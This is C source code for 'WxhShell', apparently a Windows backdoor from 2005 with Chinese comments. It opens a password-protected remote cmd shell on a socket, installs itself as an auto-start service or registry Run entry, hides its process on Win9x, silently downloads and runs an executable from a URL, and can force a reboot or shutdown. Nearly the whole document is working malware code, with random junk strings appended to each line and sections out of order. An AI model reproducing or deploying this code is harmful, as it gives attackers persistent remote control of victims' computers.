    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); lq-KM8j  
    if(Boot(SHUTDOWN)) Lc{AB!Br  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8!E.3'jb  
    else { Anz{u$0M[  
    closesocket(wsh); L7$f01*  
    ExitThread(0); o701RG ~)  
    } ]SQ+r*a  
    break; g(@F`W[  
    } t7f(%/] H0  
  // 获取shell |'h (S|  
  case 's': { X q?>a+B  
    CmdShell(wsh); 1}d F,e  
    closesocket(wsh); Db|f"3rq?  
    ExitThread(0); ZC?~RXL(  
    break; 76l. {TXF  
  } i!a!qE.1  
  // 退出 y!b2;- Dp  
  case 'x': { t\M6 d6  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); LKM018H>  
    CloseIt(wsh); r8EJ@pOF2w  
    break; |5^ iqW  
    } cfTT7O#Dc  
  // 离开 }F>RI jj  
  case 'q': { [U&k"s?  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Wd'}YbC  
    closesocket(wsh); f)Qln[/  
    WSACleanup(); RN`TUCQL  
    exit(1); b 7sfr!t_d  
    break; Ti? "Hr<W  
        } d]E=w6 +;Q  
  } JLd%rM\m  
  } y4kn2Mw;  
n*\o. :f  
  // 提示信息 wq?"NQ?O<  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); S)EF&S(TC  
} F$UL.`X _/  
  } lV'?X%  
gt8dFcm|s  
  return; g:!U,<C^a  
} 6 wN*d 5  
rZgu`5 <a  
// shell模块句柄 Mi.#x_  
int CmdShell(SOCKET sock) dk7x<$h-h0  
{ e#oK% {A  
STARTUPINFO si; o33t~@RX  
ZeroMemory(&si,sizeof(si)); LH54J;7 Y  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; "}X+vd``  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Tgpu9V6  
PROCESS_INFORMATION ProcessInfo; ^li3*#eT  
char cmdline[]="cmd"; dQ*^WNUB  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); UlWmf{1%]?  
  return 0; -7!L]BcZ.  
} ! >F70  
~C{:G;Iy0  
// 自身启动模式 ,~3rY,y-  
int StartFromService(void) r`- 8+"P  
{ q]1p Q)\'p  
typedef struct reR@@O  
{ oLkzLJ  
  DWORD ExitStatus; f%PLR9Nh5@  
  DWORD PebBaseAddress; 29=ob("  
  DWORD AffinityMask; P<>NV4  
  DWORD BasePriority; &B5&:ib1D  
  ULONG UniqueProcessId; S0StC$$1  
  ULONG InheritedFromUniqueProcessId; v{$?Ow T/u  
}   PROCESS_BASIC_INFORMATION; fTpG>*{p  
^U?Ac=  
PROCNTQSIP NtQueryInformationProcess; m$C1Ea-wnT  
RR=WD-l  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ;  j=pg5T  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; V]Te_ >E;w  
@|cHDltH  
  HANDLE             hProcess; jW7ffb `O  
  PROCESS_BASIC_INFORMATION pbi; zf8SpQ2~  
GPni%P#a@0  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); [f:&aS+  
  if(NULL == hInst ) return 0; UB+~K/  
n;Mk\*Cg  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); \5tG>>c i  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); y_>DszRN`u  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); BEax[=&W  
2ih}?%H8  
  if (!NtQueryInformationProcess) return 0; dfAw\7v/  
_N:$|O#  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); p5qfv>E8)  
  if(!hProcess) return 0; 0Sk~m4fj(  
I~6(>Z{  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; !4<D^ eh  
%7 -(c  
  CloseHandle(hProcess); ^O<' Qp,[:  
9BP'[SM%),  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); _"x%s  
if(hProcess==NULL) return 0; T*@o?U  
5s\;7>  
HMODULE hMod; _'mC*7+  
char procName[255]; Ge({sy>X  
unsigned long cbNeeded; q.R(>ZcV  
uO]|YF  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 74N_>1!j  
`3jwjy| 5  
  CloseHandle(hProcess); _QHk&-Lp  
NRG06M  
if(strstr(procName,"services")) return 1; // 以服务启动 )?OdD7gd  
F#yn'j8  
  return 0; // 注册表启动 IR]5,K^l  
} qi~-<qW  
FO(QsR=\s  
// 主模块 LmyaC2  
int StartWxhshell(LPSTR lpCmdLine) &HLG<ISw  
{ [;aM8N  
  SOCKET wsl; ~tTn7[!  
BOOL val=TRUE; QKEtV  
  int port=0; D^h! ].3 T  
  struct sockaddr_in door; 3n)Kzexh  
9;I%Dv  
  if(wscfg.ws_autoins) Install(); r [^.\&-  
LEjq<t1&  
port=atoi(lpCmdLine); 9W(&g)`  
(!8b$) k  
if(port<=0) port=wscfg.ws_port; ~9APc{"A  
)c*xKij  
  WSADATA data; <sm"3qs"_  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; CG@Fn\J  
ceJ#>Rj  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   eD(5+bm  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); bh5P98s  
  door.sin_family = AF_INET; r aOuD3  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); >`&2]Wc)  
  door.sin_port = htons(port); AfhJ6cSIE  
\z2y?"\?  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { z.SKawm6T  
closesocket(wsl); 2!}F+^8'P  
return 1; 6Q>:vQ+E  
} Vb#a ,t  
n6,YA2yZO  
  if(listen(wsl,2) == INVALID_SOCKET) { ^Os }sJ*5S  
closesocket(wsl); -3? <Ja  
return 1; @i(9k  
} P-[})Z=  
  Wxhshell(wsl); Kv!:2br  
  WSACleanup(); 2V% z=  
/kyO,g$9  
return 0; F4-rPv  
aY,Bt  
} u"oO._a(  
$ S3b<]B  
// 以NT服务方式启动 u/|@iWK:  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ><IWF#kUA  
{ aB (pdW4  
DWORD   status = 0; Hc<@T_h+2  
  DWORD   specificError = 0xfffffff; *2~WP'~PQd  
1k:yU(  
  serviceStatus.dwServiceType     = SERVICE_WIN32; GTfM *b  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Hicd -'  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Xl2g Hh  
  serviceStatus.dwWin32ExitCode     = 0; C[%&;\3S@  
  serviceStatus.dwServiceSpecificExitCode = 0; rxMo7px@}I  
  serviceStatus.dwCheckPoint       = 0; A)!W VT&2A  
  serviceStatus.dwWaitHint       = 0; 2/t;}pw8  
"8ZV%%elp  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ,0AS&xs$  
  if (hServiceStatusHandle==0) return; 44~ReN}`  
|Fze9kZO  
status = GetLastError(); ` W );+s  
  if (status!=NO_ERROR) 19(x$=:  
{ \fC;b"j  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; SfPQ;s'  
    serviceStatus.dwCheckPoint       = 0; $$0 < &  
    serviceStatus.dwWaitHint       = 0; 1V[ZklS  
    serviceStatus.dwWin32ExitCode     = status; Yz[Rl ^  
    serviceStatus.dwServiceSpecificExitCode = specificError; r9bAbE bI  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); PCgr`($U  
    return; BB3 a8  
  } ,%x2SyA  
OOIp)=4  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; la)+"uW  
  serviceStatus.dwCheckPoint       = 0; |zfFB7}v  
  serviceStatus.dwWaitHint       = 0; $1d{R;b[  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 5"3 `ss<m  
} OA9 P"*  
cy mC?8<  
// 处理NT服务事件,比如:启动、停止 ^)Y3V-@t  
VOID WINAPI NTServiceHandler(DWORD fdwControl) O,^s)>c  
{ *wmkcifF;  
switch(fdwControl) ("}Hs[  
{ {df;R|8 l  
case SERVICE_CONTROL_STOP: O\;Lb[`lb  
  serviceStatus.dwWin32ExitCode = 0; ;}S_PnwC@  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 6?US<<MQ  
  serviceStatus.dwCheckPoint   = 0; "N &ix*($  
  serviceStatus.dwWaitHint     = 0; rttKj{7E  
  { &``nD  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); _O87[F1  
  } B3[X{n$px  
  return; g]44|9x(W  
case SERVICE_CONTROL_PAUSE: /i@.Xg@:  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; d@*dbECG  
  break; k)F!gV#  
case SERVICE_CONTROL_CONTINUE: im:[ViR {  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; x7l}u`N4  
  break; Xu_1r8-|=b  
case SERVICE_CONTROL_INTERROGATE: KdHkX+-R  
  break; Jr2>D=  
}; :u=y7[I  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); U$a)lcJd  
} Fv/{)H<:y  
Z9% u,Cb  
// 标准应用程序主函数 k8}'@w  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) leizjL\P  
{ [.$%ti*!  
1 +M !EW  
// 获取操作系统版本 H|?r_Ns  
OsIsNt=GetOsVer(); y}U'8*,  
GetModuleFileName(NULL,ExeFile,MAX_PATH); =r`E%P:  
O@H D'  
  // 从命令行安装 ;Cx`RF w  
  if(strpbrk(lpCmdLine,"iI")) Install(); mpDxJk!   
],R\oMYy|P  
  // 下载执行文件 'S v V10$5  
if(wscfg.ws_downexe) { }\N ~%?6D  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) v) K|{x  
  WinExec(wscfg.ws_filenam,SW_HIDE); w[QC  
} :u@ w ;  
E){ODyk  
if(!OsIsNt) { yQu/({D  
// 如果时win9x,隐藏进程并且设置为注册表启动 2Z^p)  
HideProc(); e *D,2>o  
StartWxhshell(lpCmdLine); I7f :TN  
} 5?j#  
else jM{5nRQ  
  if(StartFromService()) Dg ~k"Ice  
  // 以服务方式启动 wz:,gpH  
  StartServiceCtrlDispatcher(DispatchTable); fx^yC.$2  
else ct(euPU  
  // 普通方式启动 ] TZ/=Id  
  StartWxhshell(lpCmdLine);  V2 ;?  
[Q8vS;.  
return 0; +H? XqSC  
} ~me/ve  
7Z}T!HFMr  
e5n"(s"G*[  
V3 ~&R:Z9e  
=========================================== G)3r[C^[k  
FPE6H:'  
\)g}   
`RE K,^U  
<{eJbNp  
#K> Ue>hx  
" 8)f/H&)>8  
mLHl]xs4  
#include <stdio.h> q{q;X{  
#include <string.h> WZbRR.TxO  
#include <windows.h> sa"!ckh  
#include <winsock2.h> ZtI@$ An  
#include <winsvc.h> u@4khN: ^p  
#include <urlmon.h> &_]bzTok  
BUBtK-n~"3  
#pragma comment (lib, "Ws2_32.lib") _#<7s`i  
#pragma comment (lib, "urlmon.lib") m\ @Q}  
r,GgMk  
#define MAX_USER   100 // 最大客户端连接数 91FVe  
#define BUF_SOCK   200 // sock buffer #J$z0%P  
#define KEY_BUFF   255 // 输入 buffer z Hl+P*)  
'L%)B-,n  
#define REBOOT     0   // 重启 s*e1m%  
#define SHUTDOWN   1   // 关机 AD'c#CT  
#6 $WuIG  
#define DEF_PORT   5000 // 监听端口 Gkdxw uRw  
5lE9UoG[Q  
#define REG_LEN     16   // 注册表键长度 qi1#s,  
#define SVC_LEN     80   // NT服务名长度 '^:q|h  
cMAY8$  
// 从dll定义API '81WogH:  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ;'4Kg@/  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); n1y*`5!  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); !!v9\R4um  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); l27J  
Rap_1o9#\  
// wxhshell配置信息 ENZYrWl  
struct WSCFG { [g lhru=+  
  int ws_port;         // 监听端口 )dRB I)P  
  char ws_passstr[REG_LEN]; // 口令 DV~g  
  int ws_autoins;       // 安装标记, 1=yes 0=no o{MmW~/o&  
  char ws_regname[REG_LEN]; // 注册表键名 O6\t_.  
  char ws_svcname[REG_LEN]; // 服务名 J~5+=V7OV  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 aw1 f;&K4  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 S\A9r!2  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 E vD g{M}  
int ws_downexe;       // 下载执行标记, 1=yes 0=no kO8oH8Vt  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 1lHBg  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 n'<F'1SWv  
k{+ Gv}Y  
}; ;#dzw!+Y  
.:TSdusr~  
// default Wxhshell configuration t",b.vki\z  
struct WSCFG wscfg={DEF_PORT, ,mD{4 >7  
    "xuhuanlingzhe", udX!R^8jE  
    1, PA${<wyBR_  
    "Wxhshell", qyY]: (8  
    "Wxhshell", ,) 3Eog\-  
            "WxhShell Service", /8s>JPXKH[  
    "Wrsky Windows CmdShell Service", bqm%@*fZo  
    "Please Input Your Password: ", ne'Y{n(8%  
  1, Znh) m  
  "http://www.wrsky.com/wxhshell.exe", jH]?vpP  
  "Wxhshell.exe" )E=~ _`XO  
    }; j{H,{x  
t;)`+K#1:  
// 消息定义模块 N5@l[F7I  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 9rM6kLD  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Gq;!g(  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ;cW9NS3:  
char *msg_ws_ext="\n\rExit."; FDIOST !  
char *msg_ws_end="\n\rQuit."; FK`M+ j  
char *msg_ws_boot="\n\rReboot..."; ~#9(Q  
char *msg_ws_poff="\n\rShutdown..."; } !RBH(m%  
char *msg_ws_down="\n\rSave to "; {{e+t8J??  
P#ot$@1v  
char *msg_ws_err="\n\rErr!"; d<afO?"  
char *msg_ws_ok="\n\rOK!"; #P-T4 R  
N#4"P: Sv  
char ExeFile[MAX_PATH]; $}Ky6sBnvO  
int nUser = 0; 3^p;'7x  
HANDLE handles[MAX_USER]; g7<u eF  
int OsIsNt; h<IPV'1  
?M@ff0  
SERVICE_STATUS       serviceStatus; ]sV) '-  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; _6{XqvWqb  
6Bn%7ZBv  
// 函数声明 Ox}a\B8  
int Install(void); jL9to6 Hmr  
int Uninstall(void); SOo}}a0  
int DownloadFile(char *sURL, SOCKET wsh); ub=Bz1._  
int Boot(int flag); iP+3)  
void HideProc(void); ZH8Oidj`  
int GetOsVer(void); p+O,C{^f  
int Wxhshell(SOCKET wsl); guWX$C-+1  
void TalkWithClient(void *cs); m<| *  
int CmdShell(SOCKET sock); !Di*y$`}b  
int StartFromService(void); +C ){&/=#  
int StartWxhshell(LPSTR lpCmdLine); EiWsVic[  
a;[=b p  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ! )PV-[2  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); )MU)'1jc,  
-mAi7[omh  
// 数据结构和表定义 D0a3%LBS/2  
SERVICE_TABLE_ENTRY DispatchTable[] = y9)Rl)7-:  
{ x^P~+(g  
{wscfg.ws_svcname, NTServiceMain}, =P\Tk)(`  
{NULL, NULL} xRPU GGv  
}; 'r_NA!R  
JN:EcVuy  
// 自我安装 $g+q;Y~i0  
int Install(void) BP`'1Ns  
{ ^=V b'g3P~  
  char svExeFile[MAX_PATH]; a.!|A(zw  
  HKEY key; RYem(%jq  
  strcpy(svExeFile,ExeFile); 2P4$^G[  
Ed=]RR 4R  
// 如果是win9x系统,修改注册表设为自启动 >xJh!w<pB  
if(!OsIsNt) { >,s.!vpK  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { AEr8^6  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `' "125T  
  RegCloseKey(key); [W{WfJ-HwG  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { yCLDJ%8  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8KhE`C9z  
  RegCloseKey(key); wEJ) h1=)^  
  return 0; {Mx3G*hr  
    } 5<?s86GHh'  
  } B>"O~ gZ{#  
} fKN&0N |^R  
else { Zr U9oy&!C  
gV-x1s+  
// 如果是NT以上系统,安装为系统服务 h8me.=S&  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); }"CX`  
if (schSCManager!=0) GN%|'eU  
{ +{F2hEYP  
  SC_HANDLE schService = CreateService eH9Ofhsry  
  ( Fv(1A_~IS  
  schSCManager, N akSIGm  
  wscfg.ws_svcname, q" aUA_}\  
  wscfg.ws_svcdisp, 7(oX 1hN  
  SERVICE_ALL_ACCESS, mqFo`Ee  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , lE@ V>%b  
  SERVICE_AUTO_START, rbw5.NU  
  SERVICE_ERROR_NORMAL, V<%eWT)x7C  
  svExeFile, |JD"iP:  
  NULL, ;5(ptXX1W  
  NULL, jjLwHJ  
  NULL, Sl RQi:  
  NULL, D#I^;Xg0h  
  NULL fI([vI  
  ); [~[)C]-=  
  if (schService!=0) 0~:Eo89  
  { X/l{E4Ex  
  CloseServiceHandle(schService); ^UEExj f  
  CloseServiceHandle(schSCManager); IW<nfg  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); m\hzQ9  
  strcat(svExeFile,wscfg.ws_svcname); MY]<^/Q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { [m9Iz!E  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); n8dJ6"L<"  
  RegCloseKey(key); R rtr\ a  
  return 0; `,O#r0m  
    } 8 o SNnT  
  } 1K`7  
  CloseServiceHandle(schSCManager); v3ky;~ke  
} $k|:V&6SV  
} N#Y|MfLc  
VoTnm   
return 1; =>kE`"{!  
} 5@kNvi  
`pfZJ+  
// 自我卸载 ,R~{$QUl  
int Uninstall(void) BM,]Wjfdj  
{ J:!m49fF  
  HKEY key; &O:IRR7p  
ruKm_j#J  
if(!OsIsNt) { Q,f~7IVX  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { B,_/'DneQK  
  RegDeleteValue(key,wscfg.ws_regname); l 7XeZ} S  
  RegCloseKey(key); Us.")GiHE  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { O_kBAC-|R(  
  RegDeleteValue(key,wscfg.ws_regname); ]"2;x  
  RegCloseKey(key); 9[5qN!P;y  
  return 0; b5u8j  
  } `;7eu=  
} Wz%b,!  
} ~fV\ X*  
else { `Pcbc\"*y  
+~x'1*A_  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); sT*D]J 2  
if (schSCManager!=0) s.#%hPX{  
{ 4*D'zJsJ  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); U{JD\G 8m  
  if (schService!=0) S#{jyU9 ]  
  { >]!8f?,  
  if(DeleteService(schService)!=0) { )9]DJ!]&Q"  
  CloseServiceHandle(schService); wOLDHg_  
  CloseServiceHandle(schSCManager); J_|LG rt})  
  return 0; n?[JPG2X  
  } 2I@d=T{K  
  CloseServiceHandle(schService); RXD*;B$v  
  } c;13V(Djy  
  CloseServiceHandle(schSCManager); aob+_9o  
} <l.l6okp  
} ^7Hwpn7E  
)/y7Fh  
return 1; d$H   
} -P.51q  
sy]hMGH:3W  
// 从指定url下载文件 HVHd@#pDZ  
int DownloadFile(char *sURL, SOCKET wsh) %4QpDt  
{ L7`=ec<  
  HRESULT hr; 1`Ig A0V`"  
char seps[]= "/"; E^`-:L(_  
char *token; kdP*{  
char *file; 2bnYYQ14:  
char myURL[MAX_PATH]; cSD$I^$oq  
char myFILE[MAX_PATH]; tgVMgu  
dHsI<:T#  
strcpy(myURL,sURL); 1VR|z  
  token=strtok(myURL,seps); hjgB[ &U>  
  while(token!=NULL) ,6 IKkyD  
  { ;Zy[2M  
    file=token; 6KRC_-  
  token=strtok(NULL,seps); 5<>"d :9  
  } YZ k.{#^c  
W5Uw=!LdEY  
GetCurrentDirectory(MAX_PATH,myFILE); rk-GQ#SKU  
strcat(myFILE, "\\"); UasU/Q <   
strcat(myFILE, file); {ew; /;  
  send(wsh,myFILE,strlen(myFILE),0); &e6!/y&  
send(wsh,"...",3,0); _M) G  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); X5tx(}j  
  if(hr==S_OK) |[Rlg`TQ;*  
return 0; eev-";c  
else ^)UX#D3b  
return 1; 8CUlE-R5  
bs&>QsI?j  
} 3c=>;g  
n'@*RvI:  
// 系统电源模块 f.Y [2b  
int Boot(int flag) <Ej`zGhWz  
{ B#G:aBCM  
  HANDLE hToken; !<3!ORFO  
  TOKEN_PRIVILEGES tkp; RKPX*(i~  
IG Ax+3V  
  if(OsIsNt) { WDi2m"  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); $Jo4n>/  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); [jv+Of IZ  
    tkp.PrivilegeCount = 1; @h9QfJ_f  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; fKW)h?.Kd  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); aka)#0l .  
if(flag==REBOOT) { 5P{[8PZxbV  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) brX[-  
  return 0; ~1&WR`U  
} E/zclD5S  
else { EsS$th)d  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) !z1\ #|>  
  return 0; PJ YUD5  
} ` {qt4zd0  
  } [MuZ^'dR  
  else { IZLBv2m  
if(flag==REBOOT) { /i~x.i3  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) B!  P/?  
  return 0; Ci4; e  
} Wu"1M^a  
else { Z9.0#Jnu  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) +n<W#O %  
  return 0; .1}1e;f-  
} &f}w&k2yj  
} Bf.iRh0Q5  
dVUe!S`  
return 1; r1TdjnP,2^  
} ~yt7L,OQ  
 o*Xfgc  
// win9x进程隐藏模块 &)jq3  
void HideProc(void) 0'HQ=pP  
{ pztfm'  
O}w%$ mq  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 9a @rsyX  
  if ( hKernel != NULL ) 1_b*j-j  
  { L9<\vJ  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Vm[F~2+HX  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ;?k<L\zaw  
    FreeLibrary(hKernel); xKl1DIN[  
  } 2kt0Rxg  
' '(rC38  
return; qvLh7]sbK:  
} n\M8>9c  
]BUirJ,2  
// 获取操作系统版本  DR{O.TX  
int GetOsVer(void) q-+:1E  
{ qY$ [2]  
  OSVERSIONINFO winfo; Lg~C:BN F  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); EK5$z>k>m  
  GetVersionEx(&winfo); Gx8!AmeX  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) /y$Fw9R;  
  return 1; ]'"Sa<->  
  else vJaWHC$q  
  return 0; BM/o7%]n  
} 6Iqy"MQuq  
<gFa@at  
// 客户端句柄模块 I/XSW#  
int Wxhshell(SOCKET wsl) !6 L!%Oi  
{ 'Y#'ozSQv  
  SOCKET wsh; aopZ-^  
  struct sockaddr_in client; I8YUq   
  DWORD myID; 4qz+cB_  
Uns%6o  
  while(nUser<MAX_USER) j<P;:  
{ yKoZj   
  int nSize=sizeof(client); y]0O"X-G  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize);  0U@#&pUc  
  if(wsh==INVALID_SOCKET) return 1; 6e rYjq  
u\Ylo.)b  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); #|ts1lD#ah  
if(handles[nUser]==0) H7GI`3o  
  closesocket(wsh); "qNFDr(WM  
else 2t9UJu4  
  nUser++; gK QJ^a\!  
  } W`_JERo  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); mLqqo2u  
Q{|%kU"  
  return 0; N?ccG\t  
} &F uPd}F  
rP3tFvOH  
// 关闭 socket >jsY'Bm  
void CloseIt(SOCKET wsh) hqvhnqQk  
{ Tc/^h 4xH  
closesocket(wsh); ?!P0UTe~  
nUser--; <7VLUk}  
ExitThread(0); /iFn =pk1?  
} qC> tni%  
D{6 y^@/  
// 客户端请求句柄 (|K+1R  
void TalkWithClient(void *cs) nsR CDUCi  
{ M5ZH6X@5  
%-blx)Pc  
  SOCKET wsh=(SOCKET)cs; /=S@3?cQAB  
  char pwd[SVC_LEN]; <#h,_WP*  
  char cmd[KEY_BUFF]; 5_aj]"x  
char chr[1]; C P}fxDW  
int i,j; |+q_kx@?l  
}ouGxs+^[  
  while (nUser < MAX_USER) { %xlpOR4  
F<,pAxl~@  
if(wscfg.ws_passstr) { <=">2WP{  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); IQPu%n{0v  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); >+a\BK"k  
  //ZeroMemory(pwd,KEY_BUFF); YCD |lL#  
      i=0; ->b5"{t  
  while(i<SVC_LEN) { HLW_Y|QaFo  
$&as5z8  
  // 设置超时 !FL"L 9   
  fd_set FdRead; o9 9ExQ.  
  struct timeval TimeOut; <?KPyg2  
  FD_ZERO(&FdRead); <a"(B*bBd  
  FD_SET(wsh,&FdRead); =HCEUB9Fs  
  TimeOut.tv_sec=8; jw:z2:0~  
  TimeOut.tv_usec=0; rkjnw@x\  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); &s+l/;3  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); tn5%zJ#+  
SUc%dpXZa  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /*qRbN  
  pwd=chr[0]; W#F9Qw  
  if(chr[0]==0xd || chr[0]==0xa) { _"1RidhH  
  pwd=0; ^aSb~lce  
  break; NfvPE]S  
  } cW:y^(Xii  
  i++; Q/S ^-&~  
    } #hxYB  
Zk=,`sBC  
  // 如果是非法用户,关闭 socket |Mb{0mKb  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); k_7m[o  
} ^X96yj'?  
VmqJMU>.  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); .^wpfS  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); n5$#M  
L BbST!  
while(1) { :0r,.)  
2<@2_wSJ  
  ZeroMemory(cmd,KEY_BUFF); KW .4 9  
/pj[c;aO  
      // 自动支持客户端 telnet标准    gHe:o`  
  j=0; f7x2"&?vg  
  while(j<KEY_BUFF) { =LaEEL  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); I\Op/`_=E  
  cmd[j]=chr[0]; E8!`d}\#  
  if(chr[0]==0xa || chr[0]==0xd) { fQfn7FaW_\  
  cmd[j]=0; [|Qzx w9  
  break; Vf cIR(  
  } \l59/ZFan  
  j++; :*Wq%Y=  
    } |[.-pA^  
<w9~T TS  
  // 下载文件 T`x|=}  
  if(strstr(cmd,"http://")) { K?uZIDo  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); f!'i5I]  
  if(DownloadFile(cmd,wsh)) 7X>IS#W]  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?9~^QRLT  
